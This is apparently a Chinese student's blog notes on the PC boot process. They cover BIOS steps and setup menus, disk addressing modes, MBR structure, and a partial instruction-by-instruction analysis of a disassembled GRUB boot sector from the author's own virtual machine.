dustland

dustball in dustland

起来,不愿作板儿砖的计算机

"pull oneself up by one's bootstraps"拉着自己的鞋带站起来

BIOS

BIOS做的事情

  1. Power is turned on.
  2. The CPU hands control over to the BIOS.
  3. The BIOS runs a program called Power-On Self Test, which determines how much memory the computer has and then confirms that critical low-level hardware is operating correctly. Any errors are indicated by sequences of audible beeps. After this, the BIOS disables all configurable devices.
  4. The BIOS identifies all of the computer's peripheral devices, such as hard drives and expansion cards. It first looks for plug-and-play devices and assigns a number to each, but it doesn't enable the devices at this time.
  5. The BIOS locates the primary boot or initial program load (IPL) device. This is usually a storage device such as a hard drive, floppy drive or CD-ROM that holds the operating system, but it can be a network card connected to a server. The BIOS also locates all of the system's secondary IPL devices.
  6. The BIOS builds a system resource table, assigning conflict-free resources according to which devices it found and the configuration data stored in nonvolatile RAM.
  7. It selects and enables the primary input (keyboard) and output (monitor) devices, so that if trouble occurs during the boot process, the BIOS can display a recovery screen and allow the user to select a stored configuration of system settings that are known to work. The BIOS captured these settings the last time the computer booted successfully, and it stores them in nonvolatile RAM.
  8. It scans for non-plug-and-play devices, including the Peripheral Component Interconnect (PCI) bus, and adds data from their ROMs to its resource table.
  9. The BIOS resolves device conflicts and configures the chosen boot device.
  10. It enables plug-and-play devices by calling their option ROMs with appropriate parameters.
  11. It starts the bootstrap loader. If, for some reason, the default IPL fails to load the operating system, the BIOS tries the next IPL device in the list.
  12. The IPL device loads the operating system into memory.
  13. The BIOS hands over control to the operating system, which may make other resource assignments.

1.上电

2.CPU将控制交给BIOS

3.BIOS开始上电自检,用来检查计算机内存大小,检查底层硬件是否正常运作.

只要有错就用蜂鸣器发出相应的叫声.

此后,BIOS禁用所有可配置设备(刚才检查的时候算是暂时启用了一下)

我装在commando上的kali物理机每次开机都会用最大声音"Bee"一下,不太聪明的亚子

4.BIOS识别计算机的所有外设,比如硬件驱动器和拓展卡(比如独立网卡独立显卡).

BIOS首先搜索所有即插即用式设备并为每个设备编号,但是此时并不将这些设备使能

5.BIOS定位主引导程序或者初始化加载程序设备.这种设备通常是一个存储设备比如硬盘,软盘,或者光驱,该设备上应当编程有操作系统,该设备甚至还可以是连接到一台服务器的网卡(这个有点离谱了)

6.BIOS 建立一张系统资源表,根据它找到的设备和存储在非易失性 RAM 中的配置数据分配无冲突资源。

7.BIOS使能基本输入(键盘)和输出(显示器)设备,如此当此后的启动过程中万一发生错误,BIOS可以打印打印恢复选项屏幕,并且让用户选择一个系统设定,然后BIOS遵旨继续执行.

BIOS会保存最后一次计算机成功启动时的设定,用那一次的设定进行恢复,这些设置被保存在非易失性RAM中

8.BIOS扫描所有即插即用式设备,包括外设总线,并将这些设备的ROM中的数据添加到刚才建立的资源表中

9.BIOS解决设备冲突,确定boot所在的设备

10.BIOS通过使用适当参数,调用即插即用式设备的选项ROM,使能这些设备

11.BIOS启动bootstrap loader.

如果默认的IPL(InitialProgramLoader)(第9步设置的设备)不能装载操作系统,则BIOS尝试列表中的下一个IPL设备

12.IPL设备将操作系统装载进入内存

13.控制权交给操作系统,操作系统将进行其他资源分配

到此计算机启动完毕,BIOS完成使命

BIOS设置

Main视图

在我的ubuntu10.04 虚拟机上,开机的时候根据提示按下F2就可以进入BIOS选择阶段

image-20220613140700106

可见BIOS这么小的系统也已经图形化了

在Main视图下,可以修改系统日期时间

Legacy Diskette

设置软驱,都2202年了,不会有人还在用软驱吧,不管他了

Primary/Second Master/Slave

Primary Master/Slave不是"主要大师/奴隶",是设置主IDE的主从通道

image-20220613141246521

IDE是啥?Integrated Drive Electronics,"把控制器和盘体集成的硬盘驱动器"

我不想下到硬件看看接口是什么样的了,就认为IDE是接硬盘的

如果IDE硬盘接到IDE通道的主通道(Primary)则BIOS将其作为引导盘

Keyboard Features

"键盘特性"

image-20220613142143514

NumLock

里面有一个NumLock,数字锁,也就是键盘上最右边的数字小键盘锁,Off则开机自动关闭,不让用数字键,On则开机自动开启.即使这里是Off,也可以在开机时自己按键盘上的NumLock改变状态

Keyboard auto-repeat delay: [1/2 sec]

考虑这么一长串字符你会怎么输入aaaaaaaaaaaaaaaaaaa,是不是按住a一直不放.

有没有注意过,但是按一下a,只会输出一个a,即使手稍微慢一点,也是只会输出一个a,并没有趁机写好几个a,从单输入第一个a到计算机认为需要连续获取输入之间的时间就是这个设置,

这里设为1/2秒,即按下a之后不松开,过半秒之后就获取一长串输入

Keyboard auto-repeat rate: [30/sec]

这个是啥呢?在键盘开始一长串输入后,每秒内输入几个a呢?100个?10个?1000个?

如果是1000,那么一旦Keyboard auto-repeat delay开关被打开,则眨眼间写入了百八十个a,写太多了,又要长按Backspace退格删除,Keyboard auto-repeat delay开关又被打开,呼哧一下删了百八十个a,甚至之前写的东西也退掉了.

显然1000这个数灵敏度太高,在我的windows上大约是20个左右,确切是多少我也不知道,重新开机看看吗,那个时候又没法截图

在这个ubuntu虚拟机上可以看见是30个

这里三个设置是根据用户习惯设置的,为人性化设置的

Memory

然后展示了两个内存

image-20220613143304212

就让看看,根本不让改

两个内存分别是啥呢?

去中文站点儿查,就给说"System Memory是系统内存",这傻子都会翻译还tm用你说,什么系统的内存啊?

Boot-time Diagnositc Screen

启动时诊断屏幕,这是个啥呢?

给他改成Enable然后重启看看,开机的时候会有一两秒的这个页面

image-20220613151050418

没有错误的就"Passed"或者"initialized"

Advanced视图

"高级"

image-20220613151239709
Multiprocessor Specification

"多处理器规范"

参考

MultiProcessor Specification - Wikipedia

MultiProcessor Specification (mit.edu)

The MultiProcessor Specification (MPS) for the x86 architecture is an open standard describing enhancements to both operating systems and firmware, which will allow them to work with x86-compatible processors in a multi-processor configuration. MPS covers Advanced Programmable Interrupt Controller (APIC) architectures.

Version 1.1 of the specification was released on April 11, 1994. Version 1.4 of the specification was released on July 1, 1995, which added extended configuration tables to improve support for multiple PCI bus configurations and improve expandability.

The Linux kernel and FreeBSD are known to support the Intel MPS. Windows NT are known to support MPS 1.1 and Windows 2000 or higher are known to support MPS 1.4. OS/2 are known to support MPS 1.1 only. Mac OS X are known to support MPS 1.4 only.

针对 x86架构的 MultiProcessor 规范(MPS)是一个开放标准,描述了对操作系统和固件的增强,这将允许它们在多处理器配置中与 x86兼容的处理器一起工作。

1.1版本于1994年4月11日发布。1.4版本于1995年7月1日发布,它添加了扩展配置表,以改进对多个 PCI 总线配置的支持,并提高可扩展性。

Linux内核和FreeBSD都是支持英特尔MPS的,

WindowsNT支持1.1版本

Windows2000以及更高版本系统支持1.4版本

多处理器规定,推测和解决多处理器对总线的竞争等等事务有关,还需要进一步阅读intel官方文件

Installed O/S
image-20220613153315480

计算机启动到此时,并没有装载操作系统,如果有多系统的话,是时候做出选择了

Reset Configuration Data:
image-20220613153439605

重设,在BIOS上做出的修改全都改回去?

如果真的是这个功能,那么Exit是干啥用的

image-20220613210834456
Cache Memory

内存的高速缓存

image-20220613153550753

第一个选项是选择启动还是关闭内存到CPU之间的高速缓存

第二个选项是系统总线的高速缓存,

...

I/O Device Configuration

"输入输出设备配置"

image-20220613204029245

Serial port:串行通信接口,通过该接口,信息只能按顺序,一个一个比特传输

比如

DE-9 公口

Parallel port:并行通信接口,一次性并行传送多个比特

比如

DB-25 母口

Floppy disk controller,软盘控制器

I/O Device Configuration就是修改这些接口是否使能,信息传送方向等

Large Disk Access Mode

大硬盘访问模式

关于硬盘模式

参考BIOS设置硬盘工作模式 - 木子杰软件教程 (muzijie.com)

NORMAL普通模式是最早的IDE方式。在此方式下对硬盘访问时,BIOS和IDE控制器对参数不作任何转换。

该模式支持的最大柱面数为1024,最大磁头数为16,最大扇区数为63,每扇区字节数为 512。因此支持最大硬盘容量为:\(512×63×16×1024=528MB\)

在此模式下即使硬盘的实际物理容量更大,但可访问的硬盘空间也只能是528MB。

LBA(Logical Block Addressing)逻辑块寻址模式。

这种模式所管理的硬盘空间突破了528KB 的瓶颈,可达8.4GB。

在LBA模式下,设置的柱面、磁头、扇区等参数并不是实际硬盘的物理参数。

在访问硬盘时,由IDE控制器把由柱面、磁头、扇区等参数确定的逻辑地址转换为实际硬盘的物理地址。

在LBA模式下,可设置的最大磁头数为255,其余参数与普通模式相同。

由此可计算出可访问的硬盘容量为:\(512×63×255×1024=8.4GB\)

LARGE大硬盘模式。当硬盘的柱面超过1024而又不为LBA支持时可采用此种模式。

LARGE模式采取的方法是把柱面数除以2,把磁头数乘以2,其结果总容量不变。

例如,在NORMAL模式下柱面数为1220,磁头数为16,进入LARGE模式则柱面数为610,磁头数为32。

这样在DOS看来柱面数小于1024,即可正常工作。目前基本上只有LBA有实际意义了。

Local Bus IDE adapter

局部总线IDE适配器

随着CPU的飞速发展, 总线的低传输速率与微处理器的高处理速度不能同步,

造成硬盘、图形卡和其它高速外设只能通过一个狭窄而缓慢的瓶颈发送和接收数据,

从而严重影响了CPU高性能的充分发挥, 工业界因此又发展了局域总线(Local Bus)的新技术.

局域总线是在CPU总线与ISA或EISA总线之间新增加的一级总线.

它独立于CPU的结构, 与CPU的时钟频率无关, 使总线形成了一种独特的中间缓冲器.

一些高速外设, 如网卡和硬盘适配器等, 可以从ISA总线上卸下,

通过局域总线直接挂接到CPU总线上, 从而解决了低速总线在高速微处理器和高速外设之间形成的瓶颈.

什么是总线、总线的类型、局部总线、局部总线类型和什么是接口方式?什么是IDE?什么是SCSI?

Advanced Chipset Control

"高级芯片控制"

image-20220613210006072

我是真的一点儿看不懂了

Security视图

image-20220613210213455

设置密码用的

Boot

image-20220613210249009

用+或者-调整设备顺序

这里就是"9.BIOS解决设备冲突,确定boot所在的设备"需要设置的

如果使用U盘作为安装盘,则BOOT中USB串行通用接口设置到最前

在物理机上如果U盘设置到磁盘的后面,BIOS会从磁盘启动,如果磁盘中之前有装好的操作系统,则BIOS将会唤醒那个操作系统

如果磁盘中没有操作系统则BIOS重新尝试从U盘启动

主引导记录MBR

在BIOS boot视图下,我们设置了启动顺序

现在,BIOS按照该顺序给控制权

控制交给第一个存储设备,CPU读取该设备最前面512字节

如果该设备的最后两个字节为0x55 AA则表明这个设备可以用于启动操作系统.

否则这个设备白搭,控制交给下一个设备

磁盘上的主引导记录

MOS-磁盘文件系统布局

整个磁盘只有一个MBR(master boot record)主引导记录,一个分区表(分区表是MBR的一部分)

MBR结构最开始的218个字节就是Bootstrap code area

后面有多个磁盘分区,每个分区在分区表中都有一条记录,记录该分区的开始与结束

这里"分区"在我们小打小闹儿的笔记本子上就是指卷(简单卷)

image-20220613113439425

比如我的电脑512G的固态硬盘被分成三个卷

MOS上关于这部分的描述十分滴珍贵,写的是汉字但是就是不说人话

image-20220613113524034

从"表中的一个分区被标记为活动分区"这句开始,我就不知道它在说什么了

活动分区是什么,不给说,查了百科才知道

活动分区是计算机系统分区,启动操作系统的文件都装在这个分区,Windows 系统下一般被默认为C盘。

image-20220613113709933

在我的linux虚拟机上观察磁盘的前512个字节

image-20220613211928369

使用dd命令将磁盘的前512个字节备份到虚拟机和Executor本机的共享文件夹下面,然后在本机上用010editor打开刚才导出的备份文件

MBR on Linux

最后两个字节是0x 55 AA表明该512个字节为MBR

从右侧的Hex视图可以看出有一些有意义的字节比如

GRUB,Hard Disk.Read.Error等等

猜测MBR在执行的时候会说一些话,可能就会说这里的ASCII编码

MBR的前466个字节是机器码,boot loader,启动引导程序,在我的虚拟机上即grub程序

第447到510字节是分区表,作用是将硬盘分成不同卷

511到512是标志主引导记录的魔数(0x55 AA)

启动管理程序的菜单功能与控制权转交功能示意图

在MOS给出的磁盘文件系统布局图上,可以发现每个磁盘分区最开始都有一个引导块,这个引导块中也可以有grub程序

主引导块之所以叫做"主",是因为它是BIOS默认调用的引导块,并且主引导块可以选择让权,即把引导工作让给其他磁盘分区中的引导块完成

一般windows系统的主引导块没有这个作用,linux有,而安装多系统的时候主引导块会相互覆盖

因此应该首先安装windows系统然后安装linux系统,如此主引导块就可以选择让权或者直接引导了

Grub

一是满足我对MBR干了什么的好奇心,而是复习一下计组8086上的汇编语言,我们对Grub进行反汇编分析

我太想知道这短短的466字节机器码,都干了什么了,他们是不是汇编语言或者C语言编译成的机器码呢?

两个阶段

第一阶段:

boot loader的主程序需要写在主引导分区或者其他磁盘分区的引导块里.

但引导块太小了,只能放下boot loader的最小主程序,相关配置在第二阶段完成

第二阶段:

grub的相关配置都在/boot/grub下面放着

image-20220615000440311

该目录下面是grub配置文件grub.cfg以及各种文件系统定义

grub的配置文件不光有grub.cfg

redhat,ubuntu等等各种系统的grub配置文件叫法不一样

在我的ubuntu10.04虚拟机上配置文件是grub.cfg

反汇编分析

查阅了万能的网友的博客之后,linux上的nasm可以反编译

用我本机上的kali子系统反编译一下就得到了非常像计组课本上的8086汇编语言

1
2
┌──(root㉿Executor)-[/mnt/e/share]
└─# ndisasm mbr.bak > mbr.asm

然后怎么分析?一共223行的汇编指令,属实高估自己的逆向能力了,与其摸着石头过河,不如先了解MBR有什么行为,然后看反汇编去取证

MBR总览
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
00000000  EB63              jmp short 0x65
00000002 90 nop
00000003 108ED0BC adc [bp-0x4330],cl
00000007 00B0B800 add [bx+si+0xb8],dh
0000000B 008ED88E add [bp-0x7128],cl
0000000F C0FBBE sar bl,byte 0xbe
00000012 007CBF add [si-0x41],bh
00000015 0006B900 add [0xb9],al
00000019 02F3 add dh,bl
0000001B A4 movsb
0000001C EA21060000 jmp 0x0:0x621
00000021 BEBE07 mov si,0x7be
00000024 3804 cmp [si],al
00000026 750B jnz 0x33
00000028 83C610 add si,byte +0x10
0000002B 81FEFE07 cmp si,0x7fe
0000002F 75F3 jnz 0x24
00000031 EB16 jmp short 0x49
00000033 B402 mov ah,0x2
00000035 B001 mov al,0x1
00000037 BB007C mov bx,0x7c00
0000003A B280 mov dl,0x80
0000003C 8A7401 mov dh,[si+0x1]
0000003F 8B4C02 mov cx,[si+0x2]
00000042 CD13 int 0x13
00000044 EA007C0000 jmp 0x0:0x7c00
00000049 EBFE jmp short 0x49
0000004B 0000 add [bx+si],al
0000004D 0000 add [bx+si],al
0000004F 0000 add [bx+si],al
00000051 0000 add [bx+si],al
00000053 0000 add [bx+si],al
00000055 0000 add [bx+si],al
00000057 0000 add [bx+si],al
00000059 0000 add [bx+si],al
0000005B 800100 add byte [bx+di],0x0
0000005E 0000 add [bx+si],al
00000060 0000 add [bx+si],al
00000062 0000 add [bx+si],al
00000064 FF db 0xff
00000065 FA cli
00000066 90 nop
00000067 90 nop
00000068 F6C280 test dl,0x80
0000006B 7502 jnz 0x6f
0000006D B280 mov dl,0x80
0000006F EA747C0000 jmp 0x0:0x7c74
00000074 31C0 xor ax,ax
00000076 8ED8 mov ds,ax
00000078 8ED0 mov ss,ax
0000007A BC0020 mov sp,0x2000
0000007D FB sti
0000007E A0647C mov al,[0x7c64]
00000081 3CFF cmp al,0xff
00000083 7402 jz 0x87
00000085 88C2 mov dl,al
00000087 52 push dx
00000088 BB1704 mov bx,0x417
0000008B 802703 and byte [bx],0x3
0000008E 7406 jz 0x96
00000090 BE887D mov si,0x7d88
00000093 E81C01 call 0x1b2
00000096 BE057C mov si,0x7c05
00000099 F6C280 test dl,0x80
0000009C 7448 jz 0xe6
0000009E B441 mov ah,0x41
000000A0 BBAA55 mov bx,0x55aa
000000A3 CD13 int 0x13
000000A5 5A pop dx
000000A6 52 push dx
000000A7 723D jc 0xe6
000000A9 81FB55AA cmp bx,0xaa55
000000AD 7537 jnz 0xe6
000000AF 83E101 and cx,byte +0x1
000000B2 7432 jz 0xe6
000000B4 31C0 xor ax,ax
000000B6 894404 mov [si+0x4],ax
000000B9 40 inc ax
000000BA 8844FF mov [si-0x1],al
000000BD 894402 mov [si+0x2],ax
000000C0 C7041000 mov word [si],0x10
000000C4 668B1E5C7C mov ebx,[0x7c5c]
000000C9 66895C08 mov [si+0x8],ebx
000000CD 668B1E607C mov ebx,[0x7c60]
000000D2 66895C0C mov [si+0xc],ebx
000000D6 C744060070 mov word [si+0x6],0x7000
000000DB B442 mov ah,0x42
000000DD CD13 int 0x13
000000DF 7205 jc 0xe6
000000E1 BB0070 mov bx,0x7000
000000E4 EB76 jmp short 0x15c
000000E6 B408 mov ah,0x8
000000E8 CD13 int 0x13
000000EA 730D jnc 0xf9
000000EC F6C280 test dl,0x80
000000EF 0F84D000 jz near 0x1c3
000000F3 BE937D mov si,0x7d93
000000F6 E98200 jmp 0x17b
000000F9 660FB6C6 movzx eax,dh
000000FD 8864FF mov [si-0x1],ah
00000100 40 inc ax
00000101 66894404 mov [si+0x4],eax
00000105 0FB6D1 movzx dx,cl
00000108 C1E202 shl dx,byte 0x2
0000010B 88E8 mov al,ch
0000010D 88F4 mov ah,dh
0000010F 40 inc ax
00000110 894408 mov [si+0x8],ax
00000113 0FB6C2 movzx ax,dl
00000116 C0E802 shr al,byte 0x2
00000119 668904 mov [si],eax
0000011C 66A1607C mov eax,[0x7c60]
00000120 6609C0 or eax,eax
00000123 754E jnz 0x173
00000125 66A15C7C mov eax,[0x7c5c]
00000129 6631D2 xor edx,edx
0000012C 66F734 div dword [si]
0000012F 88D1 mov cl,dl
00000131 31D2 xor dx,dx
00000133 66F77404 div dword [si+0x4]
00000137 3B4408 cmp ax,[si+0x8]
0000013A 7D37 jnl 0x173
0000013C FEC1 inc cl
0000013E 88C5 mov ch,al
00000140 30C0 xor al,al
00000142 C1E802 shr ax,byte 0x2
00000145 08C1 or cl,al
00000147 88D0 mov al,dl
00000149 5A pop dx
0000014A 88C6 mov dh,al
0000014C BB0070 mov bx,0x7000
0000014F 8EC3 mov es,bx
00000151 31DB xor bx,bx
00000153 B80102 mov ax,0x201
00000156 CD13 int 0x13
00000158 721E jc 0x178
0000015A 8CC3 mov bx,es
0000015C 60 pusha
0000015D 1E push ds
0000015E B90001 mov cx,0x100
00000161 8EDB mov ds,bx
00000163 31F6 xor si,si
00000165 BF0080 mov di,0x8000
00000168 8EC6 mov es,si
0000016A FC cld
0000016B F3A5 rep movsw
0000016D 1F pop ds
0000016E 61 popa
0000016F FF265A7C jmp [0x7c5a]
00000173 BE8E7D mov si,0x7d8e
00000176 EB03 jmp short 0x17b
00000178 BE9D7D mov si,0x7d9d
0000017B E83400 call 0x1b2
0000017E BEA27D mov si,0x7da2
00000181 E82E00 call 0x1b2
00000184 CD18 int 0x18
00000186 EBFE jmp short 0x186
00000188 47 inc di
00000189 52 push dx
0000018A 55 push bp
0000018B 42 inc dx
0000018C 2000 and [bx+si],al
0000018E 47 inc di
0000018F 656F gs outsw
00000191 6D insw
00000192 004861 add [bx+si+0x61],cl
00000195 7264 jc 0x1fb
00000197 204469 and [si+0x69],al
0000019A 736B jnc 0x207
0000019C 005265 add [bp+si+0x65],dl
0000019F 61 popa
000001A0 640020 add [fs:bx+si],ah
000001A3 45 inc bp
000001A4 7272 jc 0x218
000001A6 6F outsw
000001A7 720D jc 0x1b6
000001A9 0A00 or al,[bx+si]
000001AB BB0100 mov bx,0x1
000001AE B40E mov ah,0xe
000001B0 CD10 int 0x10
000001B2 AC lodsb
000001B3 3C00 cmp al,0x0
000001B5 75F4 jnz 0x1ab
000001B7 C3 ret
000001B8 21BF0E00 and [bx+0xe],di
000001BC 0000 add [bx+si],al
000001BE 802021 and byte [bx+si],0x21
000001C1 0083FEFF add [bp+di-0x2],al
000001C5 FF00 inc word [bx+si]
000001C7 0800 or [bx+si],al
000001C9 0000 add [bx+si],al
000001CB 48 dec ax
000001CC 6308 arpl [bx+si],cx
000001CE 00FE add dh,bh
000001D0 FF db 0xff
000001D1 FF05 inc word [di]
000001D3 FE db 0xfe
000001D4 FF db 0xff
000001D5 FF db 0xff
000001D6 FE db 0xfe
000001D7 57 push di
000001D8 6308 arpl [bx+si],cx
000001DA 02A05C00 add ah,[bx+si+0x5c]
000001DE 0000 add [bx+si],al
000001E0 0000 add [bx+si],al
000001E2 0000 add [bx+si],al
000001E4 0000 add [bx+si],al
000001E6 0000 add [bx+si],al
000001E8 0000 add [bx+si],al
000001EA 0000 add [bx+si],al
000001EC 0000 add [bx+si],al
000001EE 0000 add [bx+si],al
000001F0 0000 add [bx+si],al
000001F2 0000 add [bx+si],al
000001F4 0000 add [bx+si],al
000001F6 0000 add [bx+si],al
000001F8 0000 add [bx+si],al
000001FA 0000 add [bx+si],al
000001FC 0000 add [bx+si],al
000001FE 55 push bp
000001FF AA stosb

如果使用ida反汇编分析

将mbr.bak改成mbr.exe之后使用ida打开,ida默认Segment bitness为32位,需要改成16位

image-20220613232353523

一开始ida会把所有指令当作数据,只需要按一下c就可以变为指令

ida提供了交叉引用跳转提示和注释,他真的,我哭死

以下反汇编分析过程参考了

MBR引导程序源码理解

和鸟哥的Linux私房菜第19章

首先记住,BIOS将MBR中的Grub加载到主存的0x7c00处,段寄存器cs存放的是0x7c00

00000000 EB63 jmp short 0x65

第一条指令,可以看出其反汇编的格式为

内存偏移量,机器码,汇编指令

关于8086内存寻址的实现:

段寄存器对内存分段实现,8086上的跳转指令有段跳转和跨段跳转两种

CPU当前执行的指令是由CS:IP两个寄存器共同决定的,物理地址=段寄存器*16+偏移地址, \[ Addr=CS\times 16+IP \] 实际上就是CS的二进制表示左移4位,十六进制表示左移一位,然后加上IP

如果CS保持不变则为段内跳转,如果CS改变就是跨段跳转了

段内跳转:jmp short artx

artx就是要跳转到的绝对地址

artx是计算得到的,怎么算的呢?

在执行本条指令的时候,IP已经指向下一条指令的地址,

在实际的机器码指令中保存的是相对偏移量DISP,用这个相对偏移量加上更新了的IP得到的就是要跳转到的绝对地址

short表示为一个8位带符号数(范围\([-128,127]\)),意思是限制相对偏移量DISP的范围

在执行本条指令00000000 EB63 jmp short 0x65时,IP=0x2,

机器码EB63告诉我们相对偏移量DISP=0x63,

IP=IP+DISP=0x2+0x63=0x65

至于为什么上来就要跳转到中间,越过好多字节,这个问题在00000096 BE057C mov si,0x7c05我们会恍然大悟,现在看来是越过了好多"指令"没有执行,实际上不是"指令",是反汇编器将数据也反汇编成指令了

由于该跳转无条件执行,我们跟随该跳转,看看发生了什么

00000065 FA cli

关于处理器控制指令

image-20220614112455326

CLI之后,IF置0,CPU不允许中断

信号量的机制应该也是这样

此处的CLI指令和后面0000007D FB sti相互匹配

进行了一个CPU的中断关开

00000066 90 nop

空操作指令 NOP 执行该指令并不产生任何结果,仅仅消耗 3 个时钟周期的时间,常用于程序的延时等。

00000067 90 nop

同样啥也不干,耗时

00000068 F6C280 test dl,0x80

测试一下dl是否为0x80

如果dl==0x80ZF=1否则ZF=0,设置标志位之后方便后续的条件转移等

回顾一下grub干了啥

1
2
3
4
5
6
7
8
9
10
11
12
13
1 将程序代码由0:7C00H移动到0:0600H(注,BIOS把MBR放在0:7C00H处)
2 搜索可引导分区,即80H标志
成功:goto 3
失败:跳入ROM BASIC
无效分区表:goto 5
3 读引导扇区
失败:goto 5
成功:goto 4
4 验证引导扇区最后是否为55AAH
失败:goto 5
成功:goto 6
5 打印错误进入无穷循环
6 跳到0:7C00H进行下一步启动工作

80H是可引导分区的标志

硬盘的驱动器号从0x80开始编号,这里测试dl是不是80开头的,目的是判断是否是硬盘驱动

奇怪的是,在此之前的指令中并没有设置dl值的指令,因此dl此时为0,本次测试必然不通过

0000006B 7502 jnz 0x6f

关于条件跳转指令

条件转移指令的目的地址必须在现行的代码段(CS)内,并且以 当前指令指针寄存器 IP 内容为基准,转移范围内在+127~-128 的范围之内。

如果刚才判断的dl是0x80则跳转0x6f,

我们按照某些工作都没做,dl还没有被置为0x80,暂且不跟随跳转,顺序执行

0000006D B280 mov dl,0x80

说曹操,曹操到,现在将dl置为0x80标志某些工作已经进行了

0000006F EA747C0000 jmp 0x0:0x7c74

绝对跳转,跳转到0x7c74,也就是0x74位置,笑死,就在下一行

00000074 31C0 xor ax,ax

ax寄存器置零,没有用mov ax,0是因为mov指令编码长,用xor指令优化

00000076 8ED8 mov ds,ax

0->ax->ds

ds段寄存器置0,

00000078 8ED0 mov ss,ax

ss寄存器置0

ss为stack segment,堆栈段寄存器,栈顶指针的段地址在ss寄存器中,段内偏移量在sp中,ss:sp指向栈顶

0000007A BC0020 mov sp,0x2000

本步和上一步正式建立了栈空间

0000007D FB sti

关于处理器控制指令

image-20220614111629831

标志位指令,STI是开中断标志,该指令执行之后IF=1,意思是允许CPU发生中断了,

本指令和00000065 FA cli之间的指令会被CPU一直执行不被中断,这保证了各种寄存器和堆栈等一直有效

0000007E A0647C mov al,[0x7c64]

一个直接寻址,将内存上0x7c64这个单元中的东西放在al寄存器中

0x7c64所指位置代表启动盘,内核存放其中

这个单元放了啥呢? 00000064 FF db 0xff

0xff表示使用启动盘

00000081 3CFF cmp al,0xff

蜜汁操作,刚刚把M[0x7c64]=0xff放进al,就要检查al是不是0xff

猜测是后来M[0x7c64]会有改变,现在是第一次执行,尚且没变

这应该是一个指针

00000083 7402 jz 0x87

如果刚才的检查通过,则跳转0x87

由于0x870x83之间(即刚才的检查没通过时),只有一条指令,我们不跟随跳转

这里检查我们是否有强制磁盘引用

00000085 88C2 mov dl,al

0x81处的检查没有通过,即al中不是0xff,是多少现在不知道,先放在dl

在此之前涉及到dl寄存器的有一个0000006D B280 mov dl,0x80

dl置0x80是可引导分区的标志,现在把他改了,推测为后面引导失败埋下伏笔

首次执行,本条指令不会被执行

00000087 52 push dx

dx寄存器中的东西压栈

dx中是啥呢?dh高位啃腚为0,低位有两种情况

如果00000081 3CFF cmp al,0xff处的判断通过,则dl=0x80

否则就不是第一次执行到这里了,M[0x7c64]已经发生过改变

我们按照第一次执行的逻辑,dx就是0xff

此时栈中状态

image-20220614160219999

00000088 BB1704 mov bx,0x417

0x417->bx

0000008B 802703 and byte [bx],0x3

关于属性运算符

image-20220614114636880

bx在上一条指令中已经置为0x417

本条指令的意思是,首先进行一个寄存器间接寻址,取M[R[bx]]=M[0x417]

取出该内存单元的最低字节的内容,看看最低位是不是两个1,如果是则置标志位ZF=1

0000008E 7406 jz 0x96

如果刚才的判断通过,则跳转0x96

跳转越过了0x90,0x93两条指令,这是一个函数调用

00000090 BE887D mov si,0x7d88

0x7d88放在si寄存器,作为串操作的源头

0x7d88上放的是啥呢?

0x7d88相对于本文件基地址的偏移量为0x7d88-0x7c00=0x188

去这个地方看一下

1
2
3
4
00000188  47                inc di
00000189 52 push dx
0000018A 55 push bp
0000018B 42 inc dx

都是指令?这就奇怪了,串操作的源头是一些指令,而不是一个连续的数组.

目前我们只是看出了串操作的一点雏形,将"源"放在si寄存器中,但是用串操作干了什么,尚不可知,

我们暂且保持懵逼的状态,继续向后看,我保证后面有一刻,会恍然大悟

00000093 E81C01 call 0x1b2

调用位于0x1b2的函数

我们跟随该函数

进入循环

该调用指令,实际上进入了一个循环,但是现在看不出来

000001B2 AC lodsb

关于串装入指令

image-20220614151353806

说了个什么事情呢?

1
2
mov al, [esi]    ;将字节送入AL
inc esi ;指向下一个字节

在调用函数之前,si<-0x7d88

mov al, [esi]执行之后,M[0x7d88]=M[0x188]->al

inc esi ;执行之后,0x7d89->si

000001B3 3C00 cmp al,0x0

比较al是不是0

000001B5 75F4 jnz 0x1ab

如果al不是0则跳转0x1ab

000001AB BB0100 mov bx,0x1

1->bx,给后面的int指令设置参数

000001AE B40E mov ah,0xe

0xe->ah,给后面的int指令设置参数

000001B0 CD10 int 0x10

此处的中断参考使用汇编语言触发BIOS中断INT 0x10进行屏幕输出 (zoxoy.club)

image-20220614152209611

0x1AE中ah已经被置为0xe,那么此中断就触发了屏幕输出,输出的是啥呢?

要显示的字符在AL上

可以看出来,从0x1AB0x1B5是一个循环,循环打印字符到屏幕,循环停止的条件是碰见\0结束标志

字符来源是0x1B2lodsb,是从0x93处的调用指令00000093 E81C01 call 0x1b2转移过来的

lodsb操作串的来源是00000090 BE887D mov si,0x7d88,即内存中0x7d88这个位置

现在我们必须要考虑清楚串操作的源头为啥是一伙子指令了

1
2
3
4
5
00000188  47                inc di
00000189 52 push dx
0000018A 55 push bp
0000018B 42 inc dx
0000018C 2000 and [bx+si],al

观察机器码,0x47,0x52,0x55,0x42,0x00,0x20(最后小端模式拆开)

好像前面几个都是ASCII可打印字符,尝试打印一下

image-20220614153820258

竟然打印出了"GRUB"字样,这绝对不是巧合,就应该是这个字符串

原来是nasm软件无法区分指令和数据,将数据也反汇编成指令了

那么0x188到0x18c对应G,R,U,B,\0

0x18d上放了一个20不应该和0x18c合起来分析

这意味着后面的反汇编很可能都是错误的,暂且不管后面的错误,我们刚才调用函数打印grub字符串的逻辑是没有错误的

在一开始我们使用010editor观察时,

image-20220614160458438

后面还有好多具有实际意义的字符串

Error的ASCII编码为0x45 72 72 6f 72

确实后面的"指令"中,有这个字符串

1
2
3
4
000001A3  45                inc bp
000001A4 7272 jc 0x218
000001A6 6F outsw
000001A7 720D jc 0x1b6

由此可见这一大块都是字符串

退出循环

实际上"循环"就是指循环打印0x188上存好的grub字符串

跳出循环的条件是

1
2
3
000001B2  AC                lodsb
000001B3 3C00 cmp al,0x0
